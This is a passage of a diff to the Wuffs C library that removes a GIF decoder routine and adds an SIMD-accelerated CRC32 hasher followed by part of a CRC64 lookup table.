wuffs_base__make_empty_struct(); - } -+#endif // defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__ARM_CRC32) -+// ‼ WUFFS MULTI-FILE SECTION -arm_crc32 - --// -------- func gif.decoder.tell_me_more -+// ‼ WUFFS MULTI-FILE SECTION +x86_sse42 -+// -------- func crc32.ieee_hasher.up_x86_sse42 - -+#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) -+WUFFS_BASE__MAYBE_ATTRIBUTE_TARGET("pclmul,popcnt,sse4.2") - WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC wuffs_base__status --wuffs_gif__decoder__tell_me_more( -- wuffs_gif__decoder* self, -- wuffs_base__io_buffer* a_dst, -- wuffs_base__more_information* a_minfo, -- wuffs_base__io_buffer* a_src) { -- if (!self) { -- return wuffs_base__make_status(wuffs_base__error__bad_receiver); -- } -- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -- return wuffs_base__make_status( -- (self->private_impl.magic == WUFFS_BASE__DISABLED) -- ? wuffs_base__error__disabled_by_previous_error -- : wuffs_base__error__initialize_not_called); -+static wuffs_base__empty_struct -+wuffs_crc32__ieee_hasher__up_x86_sse42( -+ wuffs_crc32__ieee_hasher* self, -+ wuffs_base__slice_u8 a_x) { -+ uint32_t v_s = 0; -+ __m128i v_kk = {0}; -+ __m128i v_x0 = {0}; -+ __m128i v_x1 = {0}; -+ __m128i v_x2 = {0}; -+ __m128i v_x3 = {0}; -+ __m128i v_x4 = {0}; -+ __m128i v_x5 = {0}; -+ __m128i v_x6 = {0}; -+ __m128i v_x7 = {0}; -+ __m128i v_y0 = {0}; -+ __m128i v_y1 = {0}; -+ __m128i v_y2 = {0}; -+ __m128i v_y3 = {0}; -+ __m128i v_y4 = {0}; -+ __m128i v_y5 = {0}; -+ __m128i v_y6 = {0}; -+ __m128i v_y7 = {0}; -+ -+ v_s = (4294967295u ^ self->private_impl.f_state); -+ while ((((uint64_t)(a_x.len)) > 0u) && ((15u & ((uint32_t)(0xFFFu & (uintptr_t)(a_x.ptr)))) != 0u)) { -+ v_s = (WUFFS_CRC32__IEEE_TABLE[0u][((uint8_t)(((uint8_t)(v_s)) ^ a_x.ptr[0u]))] ^ (v_s >> 8u)); -+ a_x = wuffs_base__slice_u8__subslice_i(a_x, 1u); - } -- if (!a_dst || !a_src) { -- self->private_impl.magic = WUFFS_BASE__DISABLED; -- return wuffs_base__make_status(wuffs_base__error__bad_argument); -+ if (((uint64_t)(a_x.len)) >= 128u) { -+ v_x0 = _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 0u)); -+ v_x1 = _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 16u)); -+ v_x2 = _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 32u)); -+ v_x3 = _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 48u)); -+ v_x4 = _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 64u)); -+ v_x5 = _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 80u)); -+ v_x6 = _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 96u)); -+ v_x7 = _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 112u)); -+ v_kk = _mm_set_epi32((int32_t)(0u), (int32_t)(2433674945u), (int32_t)(0u), (int32_t)(872412467u)); -+ v_x0 = _mm_xor_si128(v_x0, _mm_cvtsi32_si128((int32_t)(v_s))); -+ a_x = wuffs_base__slice_u8__subslice_i(a_x, 128u); -+ while (((uint64_t)(a_x.len)) >= 128u) { -+ v_y0 = _mm_clmulepi64_si128(v_x0, v_kk, (int32_t)(0u)); -+ v_x0 = _mm_clmulepi64_si128(v_x0, v_kk, (int32_t)(17u)); -+ v_y1 = _mm_clmulepi64_si128(v_x1, v_kk, (int32_t)(0u)); -+ v_x1 = _mm_clmulepi64_si128(v_x1, v_kk, (int32_t)(17u)); -+ v_y2 = _mm_clmulepi64_si128(v_x2, v_kk, (int32_t)(0u)); -+ v_x2 = _mm_clmulepi64_si128(v_x2, v_kk, (int32_t)(17u)); -+ v_y3 = _mm_clmulepi64_si128(v_x3, v_kk, (int32_t)(0u)); -+ v_x3 = _mm_clmulepi64_si128(v_x3, v_kk, (int32_t)(17u)); -+ v_y4 = _mm_clmulepi64_si128(v_x4, v_kk, (int32_t)(0u)); -+ v_x4 = _mm_clmulepi64_si128(v_x4, v_kk, (int32_t)(17u)); -+ v_y5 = _mm_clmulepi64_si128(v_x5, v_kk, (int32_t)(0u)); -+ v_x5 = _mm_clmulepi64_si128(v_x5, v_kk, (int32_t)(17u)); -+ v_y6 = _mm_clmulepi64_si128(v_x6, v_kk, (int32_t)(0u)); -+ v_x6 = _mm_clmulepi64_si128(v_x6, v_kk, (int32_t)(17u)); -+ v_y7 = _mm_clmulepi64_si128(v_x7, v_kk, (int32_t)(0u)); -+ v_x7 = _mm_clmulepi64_si128(v_x7, v_kk, (int32_t)(17u)); -+ v_y0 = _mm_xor_si128(v_y0, _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 0u))); -+ v_x0 = _mm_xor_si128(v_x0, v_y0); -+ v_y1 = _mm_xor_si128(v_y1, _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 16u))); -+ v_x1 = _mm_xor_si128(v_x1, v_y1); -+ v_y2 = _mm_xor_si128(v_y2, _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 32u))); -+ v_x2 = _mm_xor_si128(v_x2, v_y2); -+ v_y3 = _mm_xor_si128(v_y3, _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 48u))); -+ v_x3 = _mm_xor_si128(v_x3, v_y3); -+ v_y4 = _mm_xor_si128(v_y4, _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 64u))); -+ v_x4 = _mm_xor_si128(v_x4, v_y4); -+ v_y5 = _mm_xor_si128(v_y5, _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 80u))); -+ v_x5 = _mm_xor_si128(v_x5, v_y5); -+ v_y6 = _mm_xor_si128(v_y6, _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 96u))); -+ v_x6 = _mm_xor_si128(v_x6, v_y6); -+ v_y7 = _mm_xor_si128(v_y7, _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 112u))); -+ v_x7 = _mm_xor_si128(v_x7, v_y7); -+ a_x = wuffs_base__slice_u8__subslice_i(a_x, 128u); -+ } -+ v_kk = _mm_set_epi32((int32_t)(0u), (int32_t)(3433693342u), (int32_t)(0u), (int32_t)(2926088593u)); -+ v_y0 = _mm_clmulepi64_si128(v_x0, v_kk, (int32_t)(0u)); -+ v_x0 = _mm_clmulepi64_si128(v_x0, v_kk, (int32_t)(17u)); -+ v_y2 = _mm_clmulepi64_si128(v_x2, v_kk, (int32_t)(0u)); -+ v_x2 = _mm_clmulepi64_si128(v_x2, v_kk, (int32_t)(17u)); -+ v_y4 = _mm_clmulepi64_si128(v_x4, v_kk, (int32_t)(0u)); -+ v_x4 = _mm_clmulepi64_si128(v_x4, v_kk, (int32_t)(17u)); -+ v_y6 = _mm_clmulepi64_si128(v_x6, v_kk, (int32_t)(0u)); -+ v_x6 = _mm_clmulepi64_si128(v_x6, v_kk, (int32_t)(17u)); -+ v_y0 = _mm_xor_si128(v_y0, v_x1); -+ v_x0 = _mm_xor_si128(v_x0, v_y0); -+ v_y2 = _mm_xor_si128(v_y2, v_x3); -+ v_x2 = _mm_xor_si128(v_x2, v_y2); -+ v_y4 = _mm_xor_si128(v_y4, v_x5); -+ v_x4 = _mm_xor_si128(v_x4, v_y4); -+ v_y6 = _mm_xor_si128(v_y6, v_x7); -+ v_x6 = _mm_xor_si128(v_x6, v_y6); -+ v_kk = _mm_set_epi32((int32_t)(0u), (int32_t)(2166711591u), (int32_t)(0u), (int32_t)(4057597354u)); -+ v_y0 = _mm_clmulepi64_si128(v_x0, v_kk, (int32_t)(0u)); -+ v_x0 = _mm_clmulepi64_si128(v_x0, v_kk, (int32_t)(17u)); -+ v_y4 = _mm_clmulepi64_si128(v_x4, v_kk, (int32_t)(0u)); -+ v_x4 = _mm_clmulepi64_si128(v_x4, v_kk, (int32_t)(17u)); -+ v_y0 = _mm_xor_si128(v_y0, v_x2); -+ v_x0 = _mm_xor_si128(v_x0, v_y0); -+ v_y4 = _mm_xor_si128(v_y4, v_x6); -+ v_x4 = _mm_xor_si128(v_x4, v_y4); -+ v_kk = _mm_set_epi32((int32_t)(0u), (int32_t)(496309207u), (int32_t)(0u), (int32_t)(2402626965u)); -+ v_y0 = _mm_clmulepi64_si128(v_x0, v_kk, (int32_t)(0u)); -+ v_x0 = _mm_clmulepi64_si128(v_x0, v_kk, (int32_t)(17u)); -+ v_y0 = _mm_xor_si128(v_y0, v_x4); -+ v_x0 = _mm_xor_si128(v_x0, v_y0); -+ v_kk = _mm_set_epi32((int32_t)(1u), (int32_t)(3681617473u), (int32_t)(3034951717u), (int32_t)(4144043585u)); -+ v_s = ((uint32_t)(_mm_extract_epi32(_mm_clmulepi64_si128(_mm_clmulepi64_si128(_mm_cvtsi64_si128((int64_t)(((uint64_t)(_mm_extract_epi64(v_x0, (int32_t)(0u)))))), v_kk, (int32_t)(0u)), v_kk, (int32_t)(16u)), (int32_t)(2u)))); -+ v_kk = _mm_set_epi32((int32_t)(1u), (int32_t)(3681617473u), (int32_t)(3034951717u), (int32_t)(4144043585u)); -+ v_s = ((uint32_t)(_mm_extract_epi32(_mm_clmulepi64_si128(_mm_clmulepi64_si128(_mm_cvtsi64_si128((int64_t)((((uint64_t)(_mm_extract_epi64(v_x0, (int32_t)(1u)))) ^ ((uint64_t)(v_s))))), v_kk, (int32_t)(0u)), v_kk, (int32_t)(16u)), (int32_t)(2u)))); -+ } -+ while (((uint64_t)(a_x.len)) >= 8u) { -+ v_kk = _mm_set_epi32((int32_t)(1u), (int32_t)(3681617473u), (int32_t)(3034951717u), (int32_t)(4144043585u)); -+ v_s = ((uint32_t)(_mm_extract_epi32(_mm_clmulepi64_si128(_mm_clmulepi64_si128(_mm_cvtsi64_si128((int64_t)((wuffs_base__peek_u64le__no_bounds_check(a_x.ptr) ^ ((uint64_t)(v_s))))), v_kk, (int32_t)(0u)), v_kk, (int32_t)(16u)), (int32_t)(2u)))); -+ a_x = wuffs_base__slice_u8__subslice_i(a_x, 8u); - } -- if ((self->private_impl.active_coroutine != 0) && -- (self->private_impl.active_coroutine != 2)) { -- self->private_impl.magic = WUFFS_BASE__DISABLED; -- return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); -+ while (((uint64_t)(a_x.len)) > 0u) { -+ v_s = (WUFFS_CRC32__IEEE_TABLE[0u][((uint8_t)(((uint8_t)(v_s)) ^ a_x.ptr[0u]))] ^ (v_s >> 8u)); -+ a_x = wuffs_base__slice_u8__subslice_i(a_x, 1u); - } -- self->private_impl.active_coroutine = 0; -- wuffs_base__status status = wuffs_base__make_status(NULL); -+ self->private_impl.f_state = (4294967295u ^ v_s); -+ return wuffs_base__make_empty_struct(); -+} -+#endif // defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) -+// ‼ WUFFS MULTI-FILE SECTION -x86_sse42 - -- wuffs_base__status v_status = wuffs_base__make_status(NULL); -+#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__CRC32) - -- uint32_t coro_susp_point = self->private_impl.p_tell_me_more[0]; -- switch (coro_susp_point) { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -+#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__CRC64) - -- while (true) { -- { -- wuffs_base__status t_0 = wuffs_gif__decoder__do_tell_me_more(self, a_dst, a_minfo, a_src); -- v_status = t_0; -- } -- if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { -- status = wuffs_base__make_status(wuffs_gif__error__truncated_input); -- goto exit; -- } -- status = v_status; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); -- } -+// ---------------- Status Codes Implementations - -- ok: -- self->private_impl.p_tell_me_more[0] = 0; -- goto exit; -- } -+// ---------------- Private Consts - -- goto suspend; -- suspend: -- self->private_impl.p_tell_me_more[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -- self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 2 : 0; -+static const uint64_t -+WUFFS_CRC64__ECMA_TABLE[8][256] WUFFS_BASE__POTENTIALLY_UNUSED = { -+ { -+ 0u, 12911341560706588527u, 17619267392293085275u, 5164075066763771700u, 8921845837811637811u, 14483170935171449180u, 10328150133527543400u, 4357999468653093127u, -+ 17843691675623275622u, 4940391307328217865u, 226782375002905661u, 12685511915359257426u, 10119945210068853333u, 4566377562367245626u, 8715998937306186254u, 14689403211693301089u, -+ 9051005139383707209u, 14895072503764629798u, 9880782614656435730u, 4193374422961527165u, 453564750005811322u, 13070904082541799189u, 17496296445768931361u, 4747102235666401102u, -+ 9960315520700766767u, 4113029525020509504u, 9132755124734491252u, 14812441257301386523u, 17431997874612372508u, 4811156168024382323u, 391483189436228679u, 13132671735097031464u, -+ 18102010278767414418u, 5195199925788447741u, 1131375642422963401u, 13591081480414639014u, 9288535643022529185u, 3731739485546663374u, 8386748845923054330u, 14361410892855143829u, -+ 907129500011622644u, 13814943346342178715u, 17875617253995106479u, 5421418680781082560u, 8594564625313771207u, 14152643483341451688u, 9494204471332802204u, 3525329033817543155u, -+ 9704381199536204507u, 3855837706121835956u, 8226059050041019008u, 13908973417437222383u, 18265510249468982504u, 5643692520190618503u, 718348998302913715u, 13463047253836762076u, -+ 8146277531524994749u, 13989069943491807698u, 9622312336048764646u, 3938150108875254153u, 782966378872457358u, 13399312233903888353u, 18327840216347633877u, 5582173445676054458u, -+ 7257036000092981153u, 15535280666427316430u, 10390399851576895482u, 2529986302517213333u, 2262751284845926802u, 12414353723947190013u, 16997392145760156105u, 6398650419759490726u, -+ 10599130201908394951u, 2322133910755632296u, 7463478971093326748u, 15329644185724306675u, 16773497691846108660u, 6622864283287239323u, 2036569382881248687u, 12640783567252986560u, -+ 1814259000023245288u, 12250853444207230599u, 17125426475222188467u, 6811676960462675676u, 7132938157145702363u, 15119434731753103540u, 10842837361562165120u, 2690676064372932847u, -+ 17189129250627542414u, 6747026957542163169u, 1875814858707893717u, 12188560364711551674u, 10762704257491731389u, 2770420489343360210u, 7050658067635086310u, 15201536148867841161u, -+ 11493583972846619443u, 3219832958944941148u, 7711675412243671912u, 15576564987190227975u, 16452118100082038016u, 6305011443818121839u, 1213047649942025563u, 11816267669673208372u, -+ 7503259434831574869u, 15784731923736995898u, 11287385040381237006u, 3425713581329221729u, 1436697996605827430u, 11591809733187859977u, 16677985422973077821u, 6078267261889762898u, -+ 16292555063049989498u, 5851447209550246421u, 1630020308903038241u, 11939238787801010766u, 11081681957373440841u, 3090674103720225830u, 7876300217750508306u, 16023932746787097725u, -+ 1565932757744914716u, 12003503911822413427u, 16230825569204842823u, 5913566482019610152u, 7956607163135676207u, 15944361922680361024u, 11164346891352108916u, 3008957496780927003u, -+ 14514072000185962306u, 8809633696146542637u, 4460922918905818905u, 10287960411460399222u, 12879331835779764593u, 113391187501452830u, 5059972605034426666u, 17660565739912801861u, -+ 4525502569691853604u, 10224187249629523019u, 14576435430675780479u, 8748148222884465680u, 4980157760350383383u, 17740628527280140920u, 12797300839518981452u, 195741594718114339u, -+ 13040162471224305931u, 565687821211481700u, 4644267821511264592u, 17536326748496696895u, 14926957942186653496u, 8937808626997553239u, 4297282312656885603u, 9839608450464401420u, -+ 4852190599768102253u, 17327666750234135042u, 13245728566574478646u, 359174499151456857u, 4073138765762497374u, 10063573324157604913u, 14700457781105076997u, 9163920108173816938u, -+ 3628518000046490576u, 9328460452529085631u, 14330211790445699979u, 8498696072880078052u, 5299565100954197475u, 18061012165519327884u, 13623353920925351352u, 1018284691440624343u, -+ 14265876314291404726u, 8562713237611094233u, 3566469078572851181u, 9390260331795218562u, 13702854325316886917u, 937907429353946858u, 5381352128745865694u, 17978417549248290481u, -+ 5746791986423309721u, 18225777846762470134u, 13494053915084326338u, 606523824971012781u, 3751629717415787434u, 9745292510640121029u, 13876787882151992305u, 8338992711486538910u, -+ 13285957365033343487u, 815010154451519120u, 5540840978686720420u, 18431906428167644875u, 14101316135270172620u, 8115412784602421411u, 3978303581567838103u, 9519354766961195256u, -+ 12527462061959317731u, 2230461459452909452u, 6439665917889882296u, 16893009583564617687u, 15423350824487343824u, 7288217715337890239u, 2490078880175191691u, 10493603952060017124u, -+ 6520081235612152965u, 16813546994155744234u, 12610022887636243678u, 2148641156328442801u, 2426095299884051126u, 10557972909709735385u, 15361512820870335213u, 7350228890552538498u, -+ 15006518869663149738u, 7165105895222849989u, 2649782550477098737u, 10947027550912647582u, 12362696414880903321u, 1783234539286425590u, 6851427162658443458u, 17022309211647725485u, -+ 2873395993211654860u, 10722532847870938531u, 15232418832718623383u, 6938393941075996152u, 6642978682516671743u, 17230443782969840528u, 12156534523779525796u, 1989151790783919051u, -+ 6263731030979658865u, 16556202624882645790u, 11702894419100492842u, 1245039440087595845u, 3260040617806076482u, 11390642587947386157u, 15688795063501830681u, 7680756410435167606u, -+ 11622868312827688983u, 1324891275238549368u, 6181348207440451660u, 16638201170595874595u, 15752600435501016612u, 7616209416359311691u, 3321489341258335871u, 11328242235714328848u, -+ 3131865515489829432u, 10977756817953029463u, 16137146508898304611u, 7844397531750915340u, 5811434156413844491u, 16395372229761246052u, 11827132964039220304u, 1660744670629167935u, -+ 15913214326271352414u, 8068573254449152305u, 2905717078206922245u, 11204220263579804010u, 12035829987123708013u, 1452858539103461122u, 6017914993561854006u, 16189773752444600153u, -+ }, { -+ 0u, 6118555238288912653u, 12237110476577825306u, 18247330833359770391u, 13942380710360636081u, 10778293617712507836u, 7543452712389327019u, 4343374206906190246u, -+ 1162559746622204903u, 4957131115480832746u, 13398436261328603645u, 17084888254066768112u, 15086905424778654038u, 9634902877839851611u, 8686748413812380492u, 3198961161184305729u, -+ 2325119493244409806u, 8407378615347160771u, 9914262230961665492u, 15960741045388068057u, 16229058527915052415u, 13101053971319389298u, 5254506258681524069u, 2018377927885299304u, -+ 3487552142959377449u, 7246080283574668580u, 11075676491871100467u, 14798208821638459198u, 17373496827624760984u, 11957750539307177877u, 6397922322368611458u, 873845550624159119u, -+ 4650238986488819612u, 1468611264581623441u, 16814757230694321542u, 13669406796222545035u, 9364600845881799981u, 15356367945216001056u, 2893367039927949111u, 8993183146101597754u, -+ 5812680741028562043u, 307286854339917174u, 17976181078471403105u, 12506848973898782572u, 10509012517363048138u, 14213073068277772231u, 4036755855770598608u, 7848658706446142941u, -+ 6975104285918754898u, 3757679901787621727u, 14492160567149337160u, 11382574084698991429u, 11651310343450272483u, 17679087685142107118u, 604386294999662841u, 6668229816820511220u, -+ 8137636784695169973u, 2596263716583940792u, 15653459723670892975u, 10220140060479144098u, 12795844644737222916u, 16535671346696648713u, 1747691101248318238u, 5523790692630174227u, -+ 9300477972977639224u, 15418239225476001333u, 2937222529163246882u, 8947075512310451247u, 4642267913777087881u, 1478833794519692420u, 16842993350473770899u, 13643422681269376670u, -+ 10462937938231096543u, 14256895642581861842u, 4098594218943518405u, 7784568886045304776u, 5786734079855898222u, 335485660068962147u, 17986366292203195508u, 12498915352811683193u, -+ 11625361482057124086u, 17707288688936286715u, 614573708679834348u, 6660293997941431265u, 6929031904881267271u, 3801500275841901386u, 14553996732492558429u, 11318486464284246352u, -+ 12787875770090627857u, 16545891676414235164u, 1775925023235784971u, 5497808777625382918u, 8073511711541197216u, 2658137194938402989u, 15697317412892285882u, 10174030228858301111u, -+ 13950208571837509796u, 10768213751408296361u, 7515359803575243454u, 4369215658492879795u, 64266086328445461u, 6056541296517372696u, 12193111774187735055u, 18293581128395077890u, -+ 15112713823828466499u, 9606842886146402894u, 8676701462472931673u, 3206755967968430164u, 1208772589999325682u, 4913169729330573567u, 13336459633641022440u, 17149116886581154533u, -+ 16275273569390339946u, 13057090384914568807u, 5192527433167881584u, 2082608760381092989u, 2350925692077440475u, 8379320821714095318u, 9904217479574233025u, 15968533654375526092u, -+ 17437760713698643085u, 11895738795633802624u, 6353925819959930519u, 920093647833407386u, 3495382202496636476u, 7235998217053677361u, 11047581385260348454u, 14824052473177163051u, -+ 10447068876609200373u, 14128364157388739064u, 4118967294799201007u, 7908597456515216354u, 5874445058326493764u, 391603411424480073u, 17894151024620902494u, 12447300791057279315u, -+ 9284535827554175762u, 15289779793358354975u, 2957667589039384840u, 9071030930460645381u, 4729911307347480995u, 1535020299074674862u, 16750846767572792249u, 13591740465559749300u, -+ 12735909365018523451u, 16453465302197274166u, 1832394617641637153u, 5585730863000118316u, 8197188437887036810u, 2678299164963691655u, 15569137772090609552u, 10158372272797335197u, -+ 11573468159711796444u, 17614790262716542417u, 670971320137924294u, 6748289234561093579u, 7052776217202099821u, 3821593491595032416u, 14425748405936874615u, 11302896163253294458u, -+ 15020497008676966249u, 9555230900528283236u, 8764415362900159859u, 3262871967819308158u, 1229147417359668696u, 5037195377843840213u, 13320587995882862530u, 17020586948957226703u, -+ 13858063809762534542u, 10716528681989657987u, 7603000551683802772u, 4425403642365261721u, 84709666887204415u, 6180499360129388338u, 12177172482473303077u, 18165119875451415848u, -+ 17309582619392432295u, 11880078264510294442u, 6477599625422879421u, 940257368289594288u, 3551850046471569942u, 7323923223311315739u, 10995617555250765836u, 14731624552464748801u, -+ 16147023423082394432u, 13041502936518885965u, 5316274389876805978u, 2102700497890566231u, 2407324781779167729u, 8467313413945678076u, 9852321304593615851u, 15876037047908055782u, -+ 1291018766690942925u, 4973072573440528064u, 13274480430592564695u, 17064442507263798490u, 15030719607150486908u, 9547259896855319665u, 8738431316985759590u, 3291108156134209131u, -+ 128532172656890922u, 6134424711959717159u, 12113082593034745392u, 18226958170089932605u, 13886262546419256987u, 10690581952315096982u, 7595066862094806145u, 4435588787024731532u, -+ 3580050981226981379u, 7297974293382715662u, 10987681667836234265u, 14741811897106152212u, 17353402924945863346u, 11834005814401532863u, 6413511935936860328u, 1002093465131966885u, -+ 2417545179998651364u, 8459344608371405545u, 9826339458661147134u, 15904271038397419763u, 16208896970474576213u, 12977377931899316312u, 5270164626790366031u, 2146558256149678658u, -+ 5864365122984562769u, 399431204366950748u, 17919992407673188939u, 12419207813205476166u, 10385054866335763168u, 14192630174644861933u, 4165217520762185978u, 7864598685623228919u, -+ 4701851384154880950u, 1560828767195761339u, 16758641643428190636u, 13581693582721149089u, 9240574510442684679u, 15335992705270927370u, 3021896290089222941u, 9009054371811832336u, -+ 8153224920554538911u, 2724514274940876434u, 15633368673088300421u, 10096393516356015240u, 12707851639919861038u, 16479271570068024355u, 1840187295666814772u, 5575686180147088953u, -+ 6990764404993272952u, 3885857308630146421u, 14471996434107354722u, 11258899592309161839u, 11563386024119531209u, 17622620253752952772u, 696814903175779539u, 6720194058879067614u, -+ }, { -+ 0u, 4542972359516777931u, 9085944719033555862u, 4691664355513513565u, 18171889438067111724u, 14061474303606774503u, 9383328711027027130u, 13633424072306524529u, -+ 7676286055365832925u, 6164376987427609878u, 1481798532234586955u, 3142253189322229376u, 10855962452864321521u, 12223826156538735162u, 16771372852738792551u, 15543052108730888620u, -+ 15352572110731665850u, 16862791698018765937u, 12328753974855219756u, 10669987536837040103u, 2963597064469173910u, 1597421751597874013u, 6284506378644458752u, 7511137813735006411u, -+ 13801544397233820007u, 9260261528098962604u, 13951919735851666161u, 18344511890033026874u, 4874982405016790603u, 8983709158270585728u, 4445237816650825181u, 196831773885239318u, -+ 4091022007653359089u, 562346998784700474u, 5103132815620245095u, 8780357948041161644u, 14189083196432476893u, 18150173592266475286u, 13474345022262784331u, 9652793049543924864u, -+ 5927194128938347820u, 7875246409875505383u, 3194843503195748026u, 1395478681687169905u, 12569012757288917504u, 10477056948030502859u, 15022275627470012822u, 17253916197967211613u, -+ 17134349580696108107u, 15186860751721288064u, 10655150290339489757u, 12453952663903504918u, 1289987737384422247u, 3381381201708377772u, 8066289525279445233u, 5835212509754572090u, -+ 9749964810033581206u, 13278076374523191645u, 17967418316541171456u, 14290755639648123595u, 8890475633301650362u, 4929947589851190897u, 393663547770478636u, 4214651972966108647u, -+ 8182044015306718178u, 5658655167774316073u, 1124693997569400948u, 3499391957275839935u, 10206265631240490190u, 12873559114121502981u, 17560715896082323288u, 14753743294414502547u, -+ 1948880861322201919u, 2594127930539943668u, 7285718382500778153u, 6491924633276939618u, 16655531858934856723u, 15577868310755742168u, 11039333611388512133u, 11977453108914408014u, -+ 11854388257876695640u, 11207451878732806035u, 15750492819751010766u, 16545974958769302533u, 6389687006391496052u, 7469038772501250239u, 2790957363374339810u, 1851148384058628905u, -+ 14845159798643632773u, 17370237963685480270u, 12687582131971748115u, 10311195790054169816u, 3615017233668480425u, 946035540305899618u, 5493509258033841727u, 8302171348940565492u, -+ 5281120895271462419u, 8521283507583323096u, 3989500891288354181u, 600787064567550030u, 13071075951463747903u, 9974957613568212212u, 14659789384177486505u, 17616368207971182434u, -+ 2579975474768844494u, 2073357103652371205u, 6762762403416755544u, 7120694423275413651u, 16132579050558890466u, 16206641305794825257u, 11670425019509144180u, 11456679111066785727u, -+ 11260412520859862953u, 11767594448091671138u, 16308316081471249471u, 15949821717821010420u, 6947506857025941637u, 6872882154850049358u, 2196985003345963795u, 2411294364755134168u, -+ 17780951266603300724u, 14540225107906894527u, 9859895179702381794u, 13249171359945539881u, 787327095540957272u, 3884007889973030291u, 8429303945932217294u, 5472161678768272901u, -+ 16364088030613436356u, 15858029804260760079u, 11317310335548632146u, 11674676600264311193u, 2249387995138801896u, 2322888996435045667u, 6998783914551679870u, 6785602652076537525u, -+ 9916730820443375385u, 13156333278251739858u, 17836661041797717135u, 14448512960480194884u, 8480501340405739573u, 5384944246861192702u, 839650424281590691u, 3795664592519366248u, -+ 3897761722644403838u, 656471011406904245u, 5188255861079887336u, 8578093388688728099u, 14571436765001556306u, 17668683201823263897u, 12983849266553879236u, 10026146741872662287u, -+ 6669836397870376611u, 7177582867921406824u, 2488175334770097461u, 2129119614032302334u, 11583119667977343375u, 11507929313807383620u, 16044147764761037337u, 16259017374083049426u, -+ 15843330937415051829u, 16489139217633298430u, 11946100509993103779u, 11151742071862860904u, 2878174689517968665u, 1799951022334374098u, 6478030266801178255u, 7416715545229372228u, -+ 12779374012782992104u, 10255423946675697443u, 14938077545002500478u, 17313340186040954037u, 5581914726748679620u, 8249768321177223183u, 3702296768117257810u, 894758378090191769u, -+ 1067805515879173007u, 3592318064290702916u, 8126281399163064345u, 5750455340522077650u, 17509465798031703203u, 14841048614271029608u, 10153889598922762037u, 12961990299524614910u, -+ 7230034467336960850u, 6583663697231173273u, 1892071080611799236u, 2686992928761285903u, 10987018516067683454u, 12065805765134311861u, 16604342697881130984u, 15665095101429070371u, -+ 10562241790542924838u, 12510858718452294125u, 17042567015166646192u, 15242640940723501691u, 7979001782576708362u, 5886480219318720193u, 1201574129135100060u, 3433774845539634519u, -+ 17875696825445760251u, 14346457162030502192u, 9657117384671061869u, 13334903762452155046u, 305328503063841751u, 4266984645440464412u, 8803266454141587521u, 4981154328058445194u, -+ 5159950949537688988u, 8687502257518297175u, 4146714207304742410u, 470617173809470401u, 13525524806833511088u, 9565558111887030139u, 14241388846550827302u, 18061812720343526637u, -+ 3250597773715660097u, 1303669193657626762u, 5984074333724313303u, 7782311056298339100u, 15074661043719826029u, 17165493152098584486u, 12620272307991097851u, 10389759836427934768u, -+ 12273052416502600151u, 10761709128327461916u, 15295744618112993857u, 16955639155056813962u, 6232173811933554427u, 7599472825692375856u, 2912390363305901421u, 1684630829289181350u, -+ 13895013714051883274u, 18437420284065877185u, 13745764309700098716u, 9352044056584181591u, 4393970006691927590u, 284119552558480365u, 4822588729510268336u, 9072122871209877627u, -+ 9177754244107333741u, 4635909983525117350u, 92935459340889083u, 4486092121981797936u, 9471751652205676353u, 13581038687731985034u, 18259186513699183831u, 14010214853299335452u, -+ 1574654191081914544u, 3085435160094502267u, 7768015779946060582u, 6108684823746459373u, 16858607891864434588u, 15491872287116188247u, 10944323357536545802u, 12171520400656925121u, -+ }, { -+ 0u, 2156813408461955548u, 4313626816923911096u, 2752718492472304228u, 8627253633847822192u, 7661928252530632364u, 5505436984944608456u, 5875429064940414228u, -+ 17254507267695644384u, 17481523150583344956u, 15323856505061264728u, 14503785508944014468u, 11010873969889216912u, 9592933115173218380u, 11750858129880828456u, 13762408288327199732u, -+ 5489899806547772229u, 5899293950881604249u, 8641596751236382973u, 7639112309309301025u, 4290280838231655477u, 2766522915734824425u, 24548853041579917u, 2141951263632483921u, -+ 11764625126767791525u, 13739024951972572281u, 10995904098661322269u, 9617374173086412737u, 15347829100153899733u, 14488356108428585737u, 17231728733602892141u, 17495903608387299505u, -+ 10979799613095544458u, 9623805157521532758u, 11798587901763208498u, 13714458609834648814u, 17283193502472765946u, 17452775347443867686u, 15278224618618602050u, 14549338234851124126u, -+ 8580561676463310954u, 7708699370463537590u, 5533045831469648850u, 5847881786764880398u, 49097706083159834u, 2107935609010204358u, 4283902527264967842u, 2782645096555375998u, -+ 15298762408106657231u, 14537220494637179923u, 17261466032775972471u, 17465946411177207723u, 11811312492909331135u, 13692276008895521635u, 10968273481005252871u, 9644925621600215259u, -+ 4261616546501692207u, 2795266376586341107u, 70185227798988951u, 2096376465831291211u, 5520961050865536095u, 5868452604588535171u, 8593836137267777511u, 7687075229128879675u, -+ 11680230827506930577u, 13832259058284016205u, 